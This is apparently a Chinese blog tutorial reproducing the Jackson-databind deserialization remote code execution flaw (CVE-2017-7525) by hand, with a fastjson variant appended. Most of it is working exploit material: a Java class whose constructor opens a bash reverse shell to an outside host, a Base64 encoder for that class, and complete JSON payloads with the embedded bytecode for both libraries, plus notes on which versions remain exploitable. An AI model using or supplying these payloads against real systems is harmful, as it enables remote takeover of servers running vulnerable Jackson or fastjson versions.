Jackson远程代码执行漏洞复现(不使用vulhub,手写transletBytecodes字段)


今天花了一天的时间复现Jackson远程代码执行漏洞,查询vulhub可以看到存在CVE-2017-7525的漏洞环境,根据网上的教程,的确可以复现成功。

但是!我发现很多教程都只是复现一遍而已,根本就不知道原理,很明显的一点就是:他们根本不知道如何修改transletBytecodes的值!

接下来我教你如何修改transletBytecodes的值,把一个目标机器的bash弹到公网上

其实很简单:

0x0 写一个Exploit类:

 1 import com.sun.org.apache.xalan.internal.xsltc.DOM;
 2 import com.sun.org.apache.xalan.internal.xsltc.TransletException;
 3 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
 4 import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
 5 import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
 6 
 7 import java.io.IOException;
 8 
 9 public class Exploit extends AbstractTranslet {
10 
11 
12     public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
13     }
14 
15 
16     public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
17 
18     }
19 
20     public Exploit() throws IOException {
21         try {
22             String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/xx.xx.xx.xx/4455 0>&1"};
23             Process p = Runtime.getRuntime().exec(commands);
24             p.waitFor();
25         } catch (InterruptedException e) {
26             e.printStackTrace();
27         }
28     }
29 
30     public static void main(String[] args) throws IOException {
31         Exploit helloworld = new Exploit();
32     }
33 }

注意看其中的第22行,你需要把其中的ip修改成你自己的公网ip

0x01 在公网上使用nc监听:

 0x02 把Exploit.java编译成Exploit.class

注意使用jdk1.5编译(不需要下载jdk1.5,可以使用maven项目,在pom.xml中指定编译版本)

javac Exploit.java

0x03 执行如下代码,把Exploit.class字节流进行Base64编码:

 1 import org.apache.commons.codec.binary.Base64;
 2 import org.apache.commons.io.IOUtils;
 3 
 4 import java.io.ByteArrayOutputStream;
 5 import java.io.File;
 6 import java.io.FileInputStream;
 7 import java.io.IOException;
 8 
 9 public class Main {
10     public static void main(String[] args) {
11         ByteArrayOutputStream bos = new ByteArrayOutputStream();
12         try {
13             IOUtils.copy(new FileInputStream(new File("/Users/admin/Exploit.class")), bos);
14         } catch (IOException e) {
15             e.printStackTrace();
16         }
17         String result = Base64.encodeBase64String(bos.toByteArray());
18         System.out.println(result);
19     }
20 }

注意其中的第13行,修改为你自己的Exploit.class所在的路径

运行结果如下:

yv66vgAAADEASAoADQAvBwAwCAAxCAAyCAAzCgA0ADUKADQANgoANwA4BwA5CgAJADoHADsKAAsALwcAPAEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAHkxuZXQvcXV0b3V0aWFvL2V4cC9ldmlsQ2xhc3MxOwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAPQEABjxpbml0PgEAAygpVgEACGNvbW1hbmRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXABABNMamF2YS9sYW5nL1Byb2Nlc3M7AQABZQEAIExqYXZhL2xhbmcvSW50ZXJydXB0ZWRFeGNlcHRpb247BwA+AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQAKaGVsbG93b3JsZAEAClNvdXJjZUZpbGUBAA9ldmlsQ2xhc3MxLmphdmEMACAAIQEAEGphdmEvbGFuZy9TdHJpbmcBAARiYXNoAQACLWMBACpiYXNoIC1pID4mIC9kZXYvdGNwLzQ3LjEwMi4yMTIuMi80NDU1IDA+JjEHAD8MAEAAQQwAQgBDBwBEDABFAEYBAB5qYXZhL2xhbmcvSW50ZXJydXB0ZWRFeGNlcHRpb24MAEcAIQEAHG5ldC9xdXRvdXRpYW8vZXhwL2V2aWxDbGFzczEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAAd3YWl0Rm9yAQADKClJAQAPcHJpbnRTdGFja1RyYWNlACEACwANAAAAAAAEAAEADgAPAAEAEAAAAEkAAAAEAAAAAbEAAAACABEAAAAGAAEAAAAPABIAAAAqAAQAAAABABMAFAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAAAABABkAGgADAAEADgAbAAIAEAAAAD8AAAADAAAAAbEAAAACABEAAAAGAAEAAAAUABIAAAAgAAMAAAABABMAFAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAHgAAAAQAAQAfAAEAIAAhAAIAEAAAAJoABAADAAAALiq3AAEGvQACWQMSA1NZBBIEU1kFEgVTTLgABiu2AAdNLLYACFenAAhMK7YACrEAAQAEACUAKAAJAAIAEQAAACIACAAAABYABAAYABgAGQAgABoAJQAdACgAGwApABwALQAeABIAAAAqAAQAGAANACIAIwABACAABQAkACUAAgApAAQAJgAnAAEAAAAuABMAFAAAAB4AAAAEAAEAKAAJACkAKgACABAAAABBAAIAAgAAAAm7AAtZtwAMTLEAAAACABEAAAAKAAIAAAAhAAgAIgASAAAAFgACAAAACQArACMAAAAIAAEALAAUAAEAHgAAAAQAAQAoAAEALQAAAAIALg==

0x04 把得到结果的替换如下的transletBytecodes的字段内容,运行。

注意其中的第12行,开启enableDefaultTyping是必须的,只有开启了,才会识别json字符串中的类型,并转化成对应的类型,如com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

 1 package net.qutoutiao;
 2 
 3 import com.fasterxml.jackson.databind.ObjectMapper;
 4 
 5 import java.io.IOException;
 6 
 7 public class Main {
 8     public static void main(String[] args) {
 9         String json = "[\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", {\"transletBytecodes\": [\"yv66vgAAADEASAoADQAvBwAwCAAxCAAyCAAzCgA0ADUKADQANgoANwA4BwA5CgAJADoHADsKAAsALwcAPAEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAHkxuZXQvcXV0b3V0aWFvL2V4cC9ldmlsQ2xhc3MxOwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAPQEABjxpbml0PgEAAygpVgEACGNvbW1hbmRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXABABNMamF2YS9sYW5nL1Byb2Nlc3M7AQABZQEAIExqYXZhL2xhbmcvSW50ZXJydXB0ZWRFeGNlcHRpb247BwA+AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQAKaGVsbG93b3JsZAEAClNvdXJjZUZpbGUBAA9ldmlsQ2xhc3MxLmphdmEMACAAIQEAEGphdmEvbGFuZy9TdHJpbmcBAARiYXNoAQACLWMBACpiYXNoIC1pID4mIC9kZXYvdGNwLzQ3LjEwMi4yMTIuMi80NDU1IDA+JjEHAD8MAEAAQQwAQgBDBwBEDABFAEYBAB5qYXZhL2xhbmcvSW50ZXJydXB0ZWRFeGNlcHRpb24MAEcAIQEAHG5ldC9xdXRvdXRpYW8vZXhwL2V2aWxDbGFzczEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAAd3YWl0Rm9yAQADKClJAQAPcHJpbnRTdGFja1RyYWNlACEACwANAAAAAAAEAAEADgAPAAEAEAAAAEkAAAAEAAAAAbEAAAACABEAAAAGAAEAAAAPABIAAAAqAAQAAAABABMAFAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAAAABABkAGgADAAEADgAbAAIAEAAAAD8AAAADAAAAAbEAAAACABEAAAAGAAEAAAAUABIAAAAgAAMAAAABABMAFAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAHgAAAAQAAQAfAAEAIAAhAAIAEAAAAJoABAADAAAALiq3AAEGvQACWQMSA1NZBBIEU1kFEgVTTLgABiu2AAdNLLYACFenAAhMK7YACrEAAQAEACUAKAAJAAIAEQAAACIACAAAABYABAAYABgAGQAgABoAJQAdACgAGwApABwALQAeABIAAAAqAAQAGAANACIAIwABACAABQAkACUAAgApAAQAJgAnAAEAAAAuABMAFAAAAB4AAAAEAAEAKAAJACkAKgACABAAAABBAAIAAgAAAAm7AAtZtwAMTLEAAAACABEAAAAKAAIAAAAhAAgAIgASAAAAFgACAAAACQArACMAAAAIAAEALAAUAAEAHgAAAAQAAQAoAAEALQAAAAIALg==\"], \"transletName\": \"a.b\", \"outputProperties\": {} }]";
10         try {
11             ObjectMapper objectMapper = new ObjectMapper();
12             objectMapper.enableDefaultTyping();
13             Object o = objectMapper.readValue(json, Object.class);
14             System.out.println(o);
15         } catch (IOException e) {
16             e.printStackTrace();
17         }
18     }
19 }

此时公网vps上已经获得一个bash!

注意点:此次实验的成功与否,跟jackson的版本有关,本次实验使用的是Jackson-databind 2.7.3
经过测试,Jackson-databind 2.9.3复现失败,会提示prevented for security reasons
据我猜测是TemplatesImpl从某一版本开始,被加入了黑名单。
现在下班了,等我下次有空,我再具体找找看是从哪一个版本开始,TemplatesImpl被加入黑名单

顺带提一下fastjson的远程命令执行的写法:

 1 package net.qutoutiao.fastjsonexploit;
 2 
 3 import com.alibaba.fastjson.JSON;
 4 import com.alibaba.fastjson.parser.Feature;
 5 import com.alibaba.fastjson.parser.ParserConfig;
 6 
 7 public class Main {
 8     public static void main(String[] args) {
 9         String json = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADEASAoADQAvBwAwCAAxCAAyCAAzCgA0ADUKADQANgoANwA4BwA5CgAJADoHADsKAAsALwcAPAEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAG0xuZXQvcXV0b3V0aWFvL2V4cC9FeHBsb2l0OwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAPQEABjxpbml0PgEAAygpVgEACGNvbW1hbmRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXABABNMamF2YS9sYW5nL1Byb2Nlc3M7AQABZQEAIExqYXZhL2xhbmcvSW50ZXJydXB0ZWRFeGNlcHRpb247BwA+AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQAHZXhwbG9pdAEAClNvdXJjZUZpbGUBAAxFeHBsb2l0LmphdmEMACAAIQEAEGphdmEvbGFuZy9TdHJpbmcBAARiYXNoAQACLWMBACpiYXNoIC1pID4mIC9kZXYvdGNwLzQ3LjEwMi4yMTIuMi80NDQ0IDA+JjEHAD8MAEAAQQwAQgBDBwBEDABFAEYBAB5qYXZhL2xhbmcvSW50ZXJydXB0ZWRFeGNlcHRpb24MAEcAIQEAGW5ldC9xdXRvdXRpYW8vZXhwL0V4cGxvaXQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAAd3YWl0Rm9yAQADKClJAQAPcHJpbnRTdGFja1RyYWNlACEACwANAAAAAAAEAAEADgAPAAEAEAAAAEkAAAAEAAAAAbEAAAACABEAAAAGAAEAAAANABIAAAAqAAQAAAABABMAFAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAAAABABkAGgADAAEADgAbAAIAEAAAAD8AAAADAAAAAbEAAAACABEAAAAGAAEAAAASABIAAAAgAAMAAAABABMAFAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAHgAAAAQAAQAfAAEAIAAhAAIAEAAAAJoABAADAAAALiq3AAEGvQACWQMSA1NZBBIEU1kFEgVTTLgABiu2AAdNLLYACFenAAhMK7YACrEAAQAEACUAKAAJAAIAEQAAACIACAAAABQABAAWABgAFwAgABgAJQAbACgAGQApABoALQAcABIAAAAqAAQAGAANACIAIwABACAABQAkACUAAgApAAQAJgAnAAEAAAAuABMAFAAAAB4AAAAEAAEAKAAJACkAKgACABAAAABBAAIAAgAAAAm7AAtZtwAMTLEAAAACABEAAAAKAAIAAAAfAAgAIAASAAAAFgACAAAACQArACMAAAAIAAEALAAUAAEAHgAAAAQAAQAoAAEALQAAAAIALg==\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}\n";
10         JSON.parseObject(json, Feature.SupportNonPublicField);
11         
12         /**
13          * fastjson只会反序列化公开的属性和域,
14          * 而com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中_bytecodes却是私有属性,
15          * _name也是私有域,所以在parseObject的时候需要设置Feature.SupportNonPublicField,
16          * 这样_bytecodes字段才会被反序列化。_tfactory这个字段在TemplatesImpl既没有get方法也没有set方法,
17          * 这没关系,我们设置_tfactory为{ },fastjson会调用其无参构造函数得_tfactory对象,
18          * 这样就解决了某些版本中在defineTransletClasses()用到会引用_tfactory属性导致异常退出。
19          */
20     }
21 }

 仅在fastjson<=1.2.24可使用,fastjson>=1.2.25的版本,需要添加

ParserConfig.getGlobalInstance().addAccept("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);